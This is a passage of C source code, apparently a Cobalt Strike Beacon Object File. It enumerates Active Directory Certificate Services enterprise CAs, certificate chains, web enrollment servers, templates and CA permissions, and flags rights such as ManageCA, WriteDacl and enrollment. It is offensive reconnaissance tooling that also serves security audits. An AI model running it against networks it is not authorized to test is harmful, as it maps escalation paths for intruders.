%S...\\n\", bstrPolicyServerFriendlyName);\n\n\thr = _adcs_get_EnrollmentPolicyServer(bstrPolicyServerUrl, bstrPolicyServerId);\n\tCHECK_RETURN_FAIL(\"_adcs_get_EnrollmentPolicyServer()\", hr);\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_PolicyServerUrl SUCCESS.\\n\");\n\nfail:\n\n\tSAFE_FREE(bstrPolicyServerUrl);\n\tSAFE_FREE(bstrPolicyServerFriendlyName);\n\tSAFE_FREE(bstrPolicyServerId);\n\n\treturn hr;\n} // end _adcs_get_PolicyServerUrl\n\n\nHRESULT _adcs_get_EnrollmentPolicyServer(BSTR bstrPolicyServerUrl, BSTR bstrPolicyServerId)\n{\n\tHRESULT hr = S_OK;\n\tIX509EnrollmentPolicyServer * pEnrollmentPolicyServer = NULL;\n\tICertificationAuthorities * pCAs = NULL;\n\tLONG lCAsCount = 0;\n\tICertificationAuthority * pCertificateAuthority = NULL;\n\tIX509CertificateTemplates * pCertificateTemplates = NULL;\n\tLONG lCertificateTemplatesCount = 0;\n\tIX509CertificateTemplate * pCertificateTemplate = NULL;\n\n\tCLSID\tCLSID_CX509EnrollmentPolicyActiveDirectory = { 0x91f39027, 0x217f, 0x11DA, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\tIID\t\tIID_IX509EnrollmentPolicyServer = { 0x13b79026, 0x2181, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\n\tSAFE_RELEASE(pEnrollmentPolicyServer);\n\thr = OLE32$CoCreateInstance( &CLSID_CX509EnrollmentPolicyActiveDirectory, 0, CLSCTX_INPROC_SERVER, &IID_IX509EnrollmentPolicyServer, (LPVOID *)&(pEnrollmentPolicyServer));\n\tCHECK_RETURN_FAIL(\"CoCreateInstance()\", hr);\n\n\thr = pEnrollmentPolicyServer->lpVtbl->Initialize(pEnrollmentPolicyServer, bstrPolicyServerUrl, bstrPolicyServerId, X509AuthKerberos, TRUE, ContextUser);\n\tCHECK_RETURN_FAIL(\"pEnrollmentPolicyServer->lpVtbl->Initialize()\", hr);\n\n\thr = pEnrollmentPolicyServer->lpVtbl->LoadPolicy(pEnrollmentPolicyServer, LoadOptionReload);\n\tCHECK_RETURN_FAIL(\"pEnrollmentPolicyServer->lpVtbl->LoadPolicy()\", hr);\n\n\tSAFE_RELEASE(pCAs);\n\thr = pEnrollmentPolicyServer->lpVtbl->GetCAs(pEnrollmentPolicyServer, &pCAs);\n\tCHECK_RETURN_FAIL(\"pEnrollmentPolicyServer->lpVtbl->GetCAs()\", hr);\n\n\thr = pCAs->lpVtbl->get_Count(pCAs, &lCAsCount);\n\tCHECK_RETURN_FAIL(\"pCAs->lpVtbl->get_Count()\", hr);\n\tinternal_printf(\"\\n[*] Found %ld CAs\\n\", lCAsCount);\n\n\tfor(LONG lCAsIndex=0; lCAsIndex<lCAsCount; lCAsIndex++)\n\t{\n\t\tSAFE_RELEASE(pCertificateAuthority);\n\t\thr = pCAs->lpVtbl->get_ItemByIndex(pCAs, lCAsIndex, &pCertificateAuthority);\n\t\tCHECK_RETURN_FAIL(\"pCAs->lpVtbl->get_ItemByIndex()\", hr);\n\n\t\thr = _adcs_get_CertificationAuthority(pCertificateAuthority);\n\t\tCHECK_RETURN_SOFT_FAIL(\"[SOFT FAIL] _adcs_get_CertificationAuthority()\", hr);\n\n\t\tif (FAILED(hr)){\n\t\t\tinternal_printf(\"    Failed to display information for the CertificationAuthority \\n\");\n\t\t}\n\t} // end for loop through ICertificationAuthority\n\n\tSAFE_RELEASE(pCertificateTemplates);\n\thr = pEnrollmentPolicyServer->lpVtbl->GetTemplates(pEnrollmentPolicyServer,\t&pCertificateTemplates);\n\tCHECK_RETURN_FAIL(\"pEnrollmentPolicyServer->lpVtbl->GetTemplates()\", hr);\n\n\thr = pCertificateTemplates->lpVtbl->get_Count(pCertificateTemplates, &lCertificateTemplatesCount);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplates->lpVtbl->get_Count()\", hr);\n\tinternal_printf(\"\\n[*] Found %ld templates\\n\", lCertificateTemplatesCount);\n\n\tfor(LONG lCertificateTemplatesIndex=0; lCertificateTemplatesIndex<lCertificateTemplatesCount; lCertificateTemplatesIndex++)\n\t{\n\t\tSAFE_RELEASE(pCertificateTemplate);\n\t\thr = pCertificateTemplates->lpVtbl->get_ItemByIndex(pCertificateTemplates, lCertificateTemplatesIndex, &pCertificateTemplate);\n\t\tCHECK_RETURN_FAIL(\"pCertificateTemplates->lpVtbl->get_ItemByIndex()\", hr);\n\n\t\thr = _adcs_get_CertificateTemplate(pCertificateTemplate);\n\t\tCHECK_RETURN_SOFT_FAIL(\"[SOFT FAIL] _adcs_get_CertificateTemplate()\", hr);\n\n\t\tif (FAILED(hr)){\n\t\t\tinternal_printf(\"    Failed to display information for the CertificateTemplate \\n\");\n\t\t}\n\t} // end for loop through ITemplates\n\t\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_EnrollmentPolicyServer SUCCESS.\\n\");\n\nfail:\n\n\tSAFE_RELEASE(pCertificateAuthority);\n\tSAFE_RELEASE(pCAs);\n\tSAFE_RELEASE(pEnrollmentPolicyServer);\n\n\treturn hr;\n} // end _adcs_get_EnrollmentPolicyServer\n\n\nHRESULT _adcs_get_CertificationAuthority(ICertificationAuthority * pCertificateAuthority)\n{\n\tHRESULT hr = S_OK;\n\tVARIANT varProperty;\n\n\tOLEAUT32$VariantInit(&varProperty);\n\n\tOLEAUT32$VariantClear(&varProperty);\n\tpCertificateAuthority->lpVtbl->get_Property(pCertificateAuthority, CAPropCommonName, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateAuthority->lpVtbl->get_Property(CAPropCommonName)\", hr);\n\tinternal_printf(\"\\n[*] Listing info about the Enterprise CA '%S'\\n\", varProperty.bstrVal);\n\tinternal_printf(\"    Enterprise CA Name       : %S\\n\", varProperty.bstrVal);\n\n\tOLEAUT32$VariantClear(&varProperty);\n\tpCertificateAuthority->lpVtbl->get_Property(pCertificateAuthority, CAPropDNSName, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateAuthority->lpVtbl->get_Property(CAPropDNSName)\", hr);\n\tinternal_printf(\"    DNS Hostname             : %S\\n\", varProperty.bstrVal);\n\n\tOLEAUT32$VariantClear(&varProperty);\n\tpCertificateAuthority->lpVtbl->get_Property(pCertificateAuthority, CAPropDistinguishedName,\t&varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateAuthority->lpVtbl->get_Property(CAPropDistinguishedName)\", hr);\n\tif (varProperty.pdispVal)\n\t{\n\t\tBSTR bstrName = NULL;\n\t\tIX500DistinguishedName * pDistinguishedName = (IX500DistinguishedName*)varProperty.pdispVal;\n\t\thr = pDistinguishedName->lpVtbl->get_Name(pDistinguishedName, &bstrName);\n\t\tCHECK_RETURN_FAIL(\"pDistinguishedName->lpVtbl->get_Name()\", hr);\n\t\tinternal_printf(\"    Distinguished Name       : %S\\n\", bstrName);\n\t}\n\n\tOLEAUT32$VariantClear(&varProperty);\n\tpCertificateAuthority->lpVtbl->get_Property(pCertificateAuthority, CAPropCertificate, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateAuthority->lpVtbl->get_Property(CAPropCertificate)\", hr);\n\tinternal_printf(\"    CA Certificate           :\\n\");\n\thr = _adcs_get_CertificationAuthorityCertificate(&varProperty);\n\tCHECK_RETURN_FAIL(\"_adcs_get_CertificationAuthorityCertificate()\", hr);\n\t\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateAuthority->lpVtbl->get_Property(pCertificateAuthority, CAPropSecurity, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateAuthority->lpVtbl->get_Property(CAPropSecurity)\", hr);\n\tinternal_printf(\"    CA Permissions           :\\n\");\n\thr = _adcs_get_CertificationAuthoritySecurity(varProperty.bstrVal);\n\tCHECK_RETURN_FAIL(\"_adcs_get_CertificationAuthoritySecurity()\", hr);\n\n\tOLEAUT32$VariantClear(&varProperty);\n\tpCertificateAuthority->lpVtbl->get_Property(pCertificateAuthority, CAPropWebServers, &varProperty);\n\tinternal_printf(\"    Web Servers              :\\n\");\n\thr = _adcs_get_CertificationAuthorityWebServers(&varProperty);\n\tCHECK_RETURN_FAIL(\"_adcs_get_CertificationAuthorityWebServers()\", hr);\n\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateAuthority->lpVtbl->get_Property(pCertificateAuthority, CAPropCertificateTypes, &varProperty);\n\t// CHECK_RETURN_FAIL(\"pCertificateAuthority->lpVtbl->get_Property(CAPropCertificateTypes)\", hr);\n\tinternal_printf(\"    Templates                :\\n\");\n\thr = _adcs_get_CertificationAuthorityCertificateTypes(&varProperty);\n\tCHECK_RETURN_FAIL(\"_adcs_get_CertificationAuthorityCertificateTypes()\", hr);\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_CertificationAuthority SUCCESS.\\n\");\n\nfail:\n\n\tOLEAUT32$VariantClear(&varProperty);\n\n\treturn hr;\n} // end _adcs_get_CertificationAuthority\n\n\nHRESULT _adcs_get_CertificationAuthorityCertificate(VARIANT* lpvarCertifcate)\n{\n\tHRESULT hr = S_OK;\n\tLPBYTE lpCertificate = NULL;\n\tULONG ulCertificateSize = 0;\n\tPCCERT_CONTEXT  pCert = NULL; \n\tBOOL bReturn = TRUE;\n\tDWORD dwStrType = CERT_X500_NAME_STR;\n\tLPWSTR swzNameString = NULL;\n\tDWORD cchNameString = 0;\n\tPBYTE lpThumbprint = NULL;\n\tDWORD cThumbprint = 0;\n\tSYSTEMTIME systemTime;\n\tCERT_CHAIN_PARA chainPara;\n\tPCCERT_CHAIN_CONTEXT pCertChainContext = NULL;\n\n\t// check buffer\n\tif (NULL == lpvarCertifcate->parray)\n\t{\n\t\tinternal_printf(\"      N/A\\n\");\n\t\tgoto fail;\n\t}\n\t\t\n\t// Get a certificate context\n\tulCertificateSize = lpvarCertifcate->parray->rgsabound->cElements;\n\thr = OLEAUT32$SafeArrayAccessData( lpvarCertifcate->parray, (void**)(&lpCertificate) );\n\tCHECK_RETURN_FAIL(\"SafeArrayAccessData\", hr);\n\tpCert = CRYPT32$CertCreateCertificateContext( 1, lpCertificate, ulCertificateSize );\n\thr = OLEAUT32$SafeArrayUnaccessData( lpvarCertifcate->parray );\n\tCHECK_RETURN_FAIL(\"SafeArrayUnaccessData\", hr);\n\tCHECK_RETURN_NULL(\"CertCreateCertificateContext()\", pCert, hr);\n\t\n\t// subject name\n\tcchNameString = CRYPT32$CertGetNameStringW( pCert, CERT_NAME_RDN_TYPE, 0, &dwStrType, swzNameString, cchNameString );\n\tswzNameString = intAlloc(cchNameString*sizeof(WCHAR));\n\tCHECK_RETURN_NULL(\"intAlloc()\", swzNameString, hr);\n\tif (1 == CRYPT32$CertGetNameStringW( pCert, CERT_NAME_RDN_TYPE, 0, &dwStrType, swzNameString, cchNameString ))\n\t{\n\t\thr = E_UNEXPECTED;\n\t\tBeaconPrintf(CALLBACK_ERROR, \"CertGetNameStringW failed: 0x%08lx\\n\", hr);\n\t\tgoto fail;\n\t}\n\tinternal_printf(\"      Subject Name           : %S\\n\", swzNameString);\n\tSAFE_INT_FREE(swzNameString);\n\n\t// thumbprint\n\tCRYPT32$CertGetCertificateContextProperty( pCert, CERT_SHA1_HASH_PROP_ID, lpThumbprint, &cThumbprint );\n\tlpThumbprint = intAlloc(cThumbprint);\n\tCHECK_RETURN_NULL(\"intAlloc()\", lpThumbprint, hr);\n\tbReturn = CRYPT32$CertGetCertificateContextProperty( pCert, CERT_SHA1_HASH_PROP_ID, lpThumbprint, &cThumbprint );\n\tCHECK_RETURN_FALSE(\"CertGetCertificateContextProperty(CERT_SHA1_HASH_PROP_ID)\", bReturn, hr);\n\tinternal_printf(\"      Thumbprint             : \");\n\tfor(DWORD i=0; i<cThumbprint; i++)\n\t{\n\t\tinternal_printf(\"%02x\", lpThumbprint[i]);\n\t}\n\tinternal_printf(\"\\n\");\n\tSAFE_INT_FREE(lpThumbprint);\n\n\t// serial number\n\tinternal_printf(\"      Serial Number          : \");\n\tfor(DWORD i=0; i<pCert->pCertInfo->SerialNumber.cbData; i++)\n\t{\n\t\tinternal_printf(\"%02x\", pCert->pCertInfo->SerialNumber.pbData[i]);\n\t}\n\tinternal_printf(\"\\n\");\n\n\t// start date\n\tMSVCRT$memset(&systemTime, 0, sizeof(SYSTEMTIME));\n\tKERNEL32$FileTimeToSystemTime(&(pCert->pCertInfo->NotBefore), &systemTime);\n\tinternal_printf(\"      Start Date             : %hu/%hu/%hu %02hu:%02hu:%02hu\\n\", systemTime.wMonth, systemTime.wDay, systemTime.wYear, systemTime.wHour, systemTime.wMinute, systemTime.wSecond);\n\n\t// end date\n\tMSVCRT$memset(&systemTime, 0, sizeof(SYSTEMTIME));\n\tKERNEL32$FileTimeToSystemTime(&(pCert->pCertInfo->NotAfter), &systemTime);\n\tinternal_printf(\"      End Date               : %hu/%hu/%hu %02hu:%02hu:%02hu\\n\", systemTime.wMonth, systemTime.wDay, systemTime.wYear, systemTime.wHour, systemTime.wMinute, systemTime.wSecond);\n\n\t// chain\n\tchainPara.cbSize = sizeof(CERT_CHAIN_PARA);\n\tchainPara.RequestedUsage.dwType = USAGE_MATCH_TYPE_AND;\n\tchainPara.RequestedUsage.Usage.cUsageIdentifier = 0;\n\tchainPara.RequestedUsage.Usage.rgpszUsageIdentifier = NULL;\n\tbReturn = CRYPT32$CertGetCertificateChain( NULL, pCert, NULL, NULL, &chainPara, 0, NULL, &pCertChainContext );\n\tCHECK_RETURN_FALSE(\"CertGetCertificateChain()\", bReturn, hr);\n\tinternal_printf(\"      Chain                  :\");\n\tfor(DWORD i=0; i<pCertChainContext->cChain; i++)\n\t{\n\t\tfor(DWORD j=0; j<pCertChainContext->rgpChain[i]->cElement; j++)\n\t\t{\n\t\t\tPCCERT_CONTEXT pChainCertContext = pCertChainContext->rgpChain[i]->rgpElement[j]->pCertContext;\n\n\t\t\t// subject name\n\t\t\tcchNameString = CRYPT32$CertGetNameStringW( pChainCertContext, CERT_NAME_RDN_TYPE, 0, &dwStrType, swzNameString, cchNameString );\n\t\t\tswzNameString = intAlloc(cchNameString*sizeof(WCHAR));\n\t\t\tCHECK_RETURN_NULL(\"intAlloc()\", swzNameString, hr);\n\t\t\tif (1 == CRYPT32$CertGetNameStringW( pChainCertContext, CERT_NAME_RDN_TYPE, 0, &dwStrType, swzNameString, cchNameString ))\n\t\t\t{\n\t\t\t\thr = E_UNEXPECTED;\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"CertGetNameStringW failed: 0x%08lx\\n\", hr);\n\t\t\t\tgoto fail;\n\t\t\t}\n\t\t\tif (j!=0) { internal_printf(\" >>\"); }\n\t\t\tinternal_printf(\" %S\", swzNameString);\n\t\t\tSAFE_INT_FREE(swzNameString);\n\t\t} // end for loop through PCERT_CHAIN_ELEMENT\n\t\tinternal_printf(\"\\n\");\n\t} // end for loop through PCERT_SIMPLE_CHAIN\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_CertificationAuthorityCertificate SUCCESS.\\n\");\n\nfail:\n\n\tSAFE_CERTFREECERTIFICATECHAIN(pCertChainContext);\n\n\tSAFE_INT_FREE(swzNameString);\n\n\tSAFE_INT_FREE(lpThumbprint);\n\n\tif (pCert)\n\t{\n\t\tCRYPT32$CertFreeCertificateContext(pCert);\n\t\tpCert = NULL;\n\t}\n\n\treturn hr;\n} // end _adcs_get_CertificationAuthorityCertificate\n\n\nHRESULT _adcs_get_CertificationAuthorityWebServers(VARIANT* lpvarWebServers)\n{\n\tHRESULT hr = S_OK;\n\tLONG lItemIdx = 0;\n\tBSTR bstrWebServer = NULL;\n\tLPWSTR swzTokenize = NULL;\n\n\tif ( NULL == lpvarWebServers->parray)\n\t{\n\t\tinternal_printf(\"      N/A\\n\");\n\t\tgoto fail;\n\t}\n\t\n\thr = OLEAUT32$SafeArrayGetElement(lpvarWebServers->parray, &lItemIdx, &bstrWebServer);\n\twhile(SUCCEEDED(hr))\n\t{\n\t\tULONG dwWebServerCount = 0;\n\t\tLPWSTR swzToken = NULL;\n\t\tLPWSTR swzNextToken = NULL;\n\t\tUINT dwTokenizeLength = OLEAUT32$SysStringLen(bstrWebServer);\n\t\tswzTokenize = (LPWSTR)intAlloc(sizeof(WCHAR)*(dwTokenizeLength+1));\n\t\tCHECK_RETURN_NULL(\"intAlloc()\", swzTokenize, hr);\n\t\tMSVCRT$wcscpy(swzTokenize, bstrWebServer);\n\n\t\t// Get the number of entries in the array\n\t\tswzToken = MSVCRT$wcstok_s(swzTokenize, L\"\\n\", &swzNextToken);\n\t\tdwWebServerCount = MSVCRT$wcstoul(swzToken, NULL, 10);\n\t\tfor(ULONG ulWebEnrollmentServerIndex=0; ulWebEnrollmentServerIndex<dwWebServerCount; ulWebEnrollmentServerIndex++)\n\t\t{\n\t\t\t// Get the authentication type\n\t\t\tswzToken = MSVCRT$wcstok_s(NULL, L\"\\n\", &swzNextToken);\n\t\t\tif (NULL == swzToken) {\tbreak; }\n\t\t\t// Get the Priority\n\t\t\tswzToken = MSVCRT$wcstok_s(NULL, L\"\\n\", &swzNextToken);\n\t\t\tif (NULL == swzToken) {\tbreak; }\n\t\t\t// Get the Uri\n\t\t\tswzToken = MSVCRT$wcstok_s(NULL, L\"\\n\", &swzNextToken);\n\t\t\tif (NULL == swzToken) {\tbreak; }\n\t\t\tinternal_printf(\"      %S\\n\", swzToken);\n\t\t\t// Get the RenewalOnly flag\n\t\t\tswzToken = MSVCRT$wcstok_s(NULL, L\"\\n\", &swzNextToken);\n\t\t\tif (NULL == swzToken) {\tbreak; }\n\t\t}\n\n\t\tSAFE_INT_FREE(swzTokenize);\n\n\t\t++lItemIdx;\n\t\thr = OLEAUT32$SafeArrayGetElement(lpvarWebServers->parray, &lItemIdx, &bstrWebServer);\t\n\t}\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_CertificationAuthorityWebServers SUCCESS.\\n\");\n\nfail:\n\n\tSAFE_INT_FREE(swzTokenize);\n\n\treturn hr;\n} // end _adcs_get_CertificationAuthorityWebServers\n\n\nHRESULT _adcs_get_CertificationAuthoritySecurity(BSTR bstrDacl)\n{\n\tHRESULT hr = S_OK;\n\tBOOL bReturn = TRUE;\n\tPSID pOwner = NULL;\n\tBOOL bOwnerDefaulted = TRUE;\n\tLPWSTR swzStringSid = NULL;\n\tWCHAR swzName[MAX_PATH];\n\tDWORD cchName = MAX_PATH;\n\tWCHAR swzDomainName[MAX_PATH];\n\tDWORD cchDomainName = MAX_PATH;\n\tBOOL bDaclPresent = TRUE;\n\tPACL pDacl = NULL;\n\tBOOL bDaclDefaulted = TRUE;\n\tACL_SIZE_INFORMATION aclSizeInformation;\n\tSID_NAME_USE sidNameUse;\n\tPSECURITY_DESCRIPTOR pSD = NULL;\n\tULONG ulSDSize = 0;\n\n\t// Get the security descriptor\n\tif (NULL == bstrDacl)\n\t{\n\t\tinternal_printf(\"      N/A\\n\");\n\t\tgoto fail;\n\t}\n\tbReturn = ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW(bstrDacl, SDDL_REVISION_1, (PSECURITY_DESCRIPTOR)(&pSD), &ulSDSize);\n\tCHECK_RETURN_FALSE(\"ConvertStringSecurityDescriptorToSecurityDescriptorW()\", bReturn, hr);\n\n\t// Get the owner\n\tbReturn = ADVAPI32$GetSecurityDescriptorOwner(pSD, &pOwner, &bOwnerDefaulted);\n\tCHECK_RETURN_FALSE(\"GetSecurityDescriptorOwner()\", bReturn, hr);\n\tinternal_printf(\"      Owner                  : \");\n\tcchName = MAX_PATH;\n\tMSVCRT$memset(swzName, 0, cchName*sizeof(WCHAR));\n\tcchDomainName = MAX_PATH;\n\tMSVCRT$memset(swzDomainName, 0, cchDomainName*sizeof(WCHAR));\n\tif (ADVAPI32$LookupAccountSidW(\tNULL, pOwner, swzName, &cchName, swzDomainName, &cchDomainName, &sidNameUse )) { internal_printf(\"%S\\\\%S\", swzDomainName, swzName); }\n\telse { internal_printf(\"N/A\"); }\n\n\t// Get the owner's SID\n\tif (ADVAPI32$ConvertSidToStringSidW(pOwner, &swzStringSid)) { internal_printf(\"\\n                               %S\\n\", swzStringSid); }\n\telse { internal_printf(\"\\n                               N/A\\n\"); }\n\tSAFE_LOCAL_FREE(swzStringSid);\n\n\t// Get the DACL\n\tbReturn = ADVAPI32$GetSecurityDescriptorDacl(pSD, &bDaclPresent, &pDacl, &bDaclDefaulted);\n\tCHECK_RETURN_FALSE(\"GetSecurityDescriptorDacl()\", bReturn, hr);\n\tinternal_printf(\"      Access Rights          :\\n\");\n\tif (FALSE == bDaclPresent) { internal_printf(\"          N/A\\n\"); goto fail; }\n\n\t// Loop through the ACEs in the ACL\n\tif ( ADVAPI32$GetAclInformation( pDacl, &aclSizeInformation, sizeof(aclSizeInformation), AclSizeInformation ) )\n\t{\n\t\tfor(DWORD dwAceIndex=0; dwAceIndex<aclSizeInformation.AceCount; dwAceIndex++)\n\t\t{\n\t\t\tACE_HEADER * pAceHeader = NULL;\n\t\t\tACCESS_ALLOWED_ACE* pAce = NULL;\n\t\t\tACCESS_ALLOWED_OBJECT_ACE* pAceObject = NULL;\n\t\t\tPSID pPrincipalSid = NULL;\n\t\t\thr = E_UNEXPECTED;\n\n\t\t\tif ( ADVAPI32$GetAce( pDacl, dwAceIndex, (LPVOID)&pAceHeader ) )\n\t\t\t{\n\t\t\t\tpAceObject = (ACCESS_ALLOWED_OBJECT_ACE*)pAceHeader;\n\t\t\t\tpAce = (ACCESS_ALLOWED_ACE*)pAceHeader;\n\t\t\t\tint format_ACCESS_ALLOWED_OBJECT_ACE = 0;\n\n\t\t\t\tif (ACCESS_ALLOWED_OBJECT_ACE_TYPE == pAceHeader->AceType) {\n\t\t\t\t\t//internal_printf(\"        AceType: ACCESS_ALLOWED_OBJECT_ACE_TYPE\\n\");\n\t\t\t\t\tformat_ACCESS_ALLOWED_OBJECT_ACE = 1;\n\t\t\t\t\tpPrincipalSid = (PSID)(&(pAceObject->InheritedObjectType)); \n\t\t\t\t}\n\t\t\t\telse if (ACCESS_ALLOWED_ACE_TYPE == pAceHeader->AceType) { \n\t\t\t\t\t//internal_printf(\"        AceType: ACCESS_ALLOWED_ACE_TYPE\\n\");\n\t\t\t\t\tpPrincipalSid = (PSID)(&(pAce->SidStart)); \n\t\t\t\t}\n\t\t\t\telse { continue; }\n\n\t\t\t\t// Get the principal\n\t\t\t\tcchName = MAX_PATH;\n\t\t\t\tMSVCRT$memset(swzName, 0, cchName*sizeof(WCHAR));\n\t\t\t\tcchDomainName = MAX_PATH;\n\t\t\t\tMSVCRT$memset(swzDomainName, 0, cchDomainName*sizeof(WCHAR));\n\t\t\t\tif (FALSE == ADVAPI32$LookupAccountSidW( NULL, pPrincipalSid, swzName, &cchName, swzDomainName,\t&cchDomainName,\t&sidNameUse\t))\n\t\t\t\t{ continue; }\n\n\t\t\t\tswzStringSid = NULL;\n\t\t\t\tif (ADVAPI32$ConvertSidToStringSidW(pPrincipalSid, &swzStringSid)) { \n\t\t\t\t\tinternal_printf(\"        Principal           : %S\\\\%S (%S)\\n\", swzDomainName, swzName,swzStringSid); }\n\t\t\t\telse { \n\t\t\t\t\tinternal_printf(\"        Principal           : %S\\\\%S (N/A)\\n\", swzDomainName, swzName); }\n\t\t\t\tSAFE_LOCAL_FREE(swzStringSid);\n\n\t\t\t\t// pAceObject->Mask is always equal to pAce->Mask, not \"perfect\" but seems to work\n\t\t\t\tinternal_printf(\"          Access mask       : %08X\\n\", pAceObject->Mask);\n\t\t\t\tinternal_printf(\"          Flags             : %08X\\n\", pAceObject->Flags);\n\t\t\t\t\t\n\t\t\t\tif (format_ACCESS_ALLOWED_OBJECT_ACE) {\n\t\t\t\t\t// flags not defined in ACCESS_ALLOWED_ACE_TYPE\n\t\t\t\t\tinternal_printf(\"          Flags             : %08X\\n\", pAceObject->Flags);\n\n\t\t\t\t\t// Check if Enrollment permission\n\t\t\t\t\tif (ADS_RIGHT_DS_CONTROL_ACCESS & pAceObject->Mask)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (ACE_OBJECT_TYPE_PRESENT & pAceObject->Flags)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tOLECHAR szGuid[MAX_PATH];\n\t\t\t\t\t\t\tif ( OLE32$StringFromGUID2(&pAceObject->ObjectType, szGuid, MAX_PATH) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tinternal_printf(\"                              Extended right %S\\n\", szGuid);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (\n\t\t\t\t\t\t\t\t(!MSVCRT$memcmp(&CertificateEnrollment, &pAceObject->ObjectType, sizeof (GUID))) ||\n\t\t\t\t\t\t\t\t(!MSVCRT$memcmp(&CertificateAutoEnrollment, &pAceObject->ObjectType, sizeof (GUID))) ||\n\t\t\t\t\t\t\t\t(!MSVCRT$memcmp(&CertificateAll, &pAceObject->ObjectType, sizeof (GUID)))\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tinternal_printf(\"                              Enrollment Rights\\n\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (\n\t\t\t\t\t\t\t\t(!MSVCRT$memcmp(&ManageCA, &pAceObject->ObjectType, sizeof (GUID)))\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tinternal_printf(\"                              ManageCA Rights\\n\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} // end if ACE_OBJECT_TYPE_PRESENT\n\t\t\t\t\t} // end if ADS_RIGHT_DS_CONTROL_ACCESS\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Check if ADS_RIGHT_GENERIC_ALL permission\n\t\t\t\tif (ADS_RIGHT_GENERIC_ALL & pAceObject->Mask)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              Generic All Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_GENERIC_ALL permission\n\t\t\t\t\n\t\t\t\t// Check if ADS_RIGHT_READ_CONTROL permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_READ_CONTROL & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              Read Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_READ_CONTROL permission\n\n\t\t\t\t// Check if ADS_RIGHT_WRITE_OWNER permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_WRITE_OWNER & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              WriteOwner Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_WRITE_OWNER permission\n\t\t\t\t\n\t\t\t\t// Check if ADS_RIGHT_WRITE_DAC permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_WRITE_DAC & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              WriteDacl Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_WRITE_DAC permission\n\t\t\t\t\n\t\t\t\t// Check if ADS_RIGHT_GENERIC_WRITE permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_GENERIC_WRITE & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              WriteProperty All Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_GENERIC_WRITE permission\n\n\t\t\t\t// Check if ADS_RIGHT_DS_WRITE_PROP permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_DS_WRITE_PROP & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tif (format_ACCESS_ALLOWED_OBJECT_ACE) {\n\n\t\t\t\t\t\tinternal_printf(\"                              WriteProperty Rights on \");\n\t\t\t\t\t\tOLECHAR szGuid[MAX_PATH];\n\t\t\t\t\t\tif ( OLE32$StringFromGUID2(&pAceObject->ObjectType, szGuid, MAX_PATH) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tinternal_printf(\"%S\\n\", szGuid);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tinternal_printf(\"{ERROR}\\n\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t// if ACCESS_OBJECT_ACE, there is no ACE_OBJECT_TYPE_PRESENT and ObjectType, so it's like a GENERIC_WRITE\n\t\t\t\t\t\tinternal_printf(\"                              WriteProperty All Rights\\n\");\n\t\t\t\t\t}\n\n\t\t\t\t} // end if ADS_RIGHT_DS_WRITE_PROP permission\n\n\t\t\t} // end if GetAce was successful\n\t\t} // end for loop through ACEs (AceCount)\n\t} // end else GetAclInformation was successful\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_CertificationAuthoritySecurity SUCCESS.\\n\");\n\nfail:\n\n\tSAFE_LOCAL_FREE(swzStringSid);\n\tSAFE_LOCAL_FREE(pSD);\n\n\treturn hr;\n} // end _adcs_get_CertificationAuthoritySecurity\n\n\nHRESULT _adcs_get_CertificationAuthorityCertificateTypes(VARIANT* lpvarArray)\n{\n\tHRESULT hr = S_OK;\n\tLONG lItemIdx = 0;\n\tBSTR bstrItem = NULL;\n\n\tif (NULL == lpvarArray->parray)\n\t{\n\t\tinternal_printf(\"      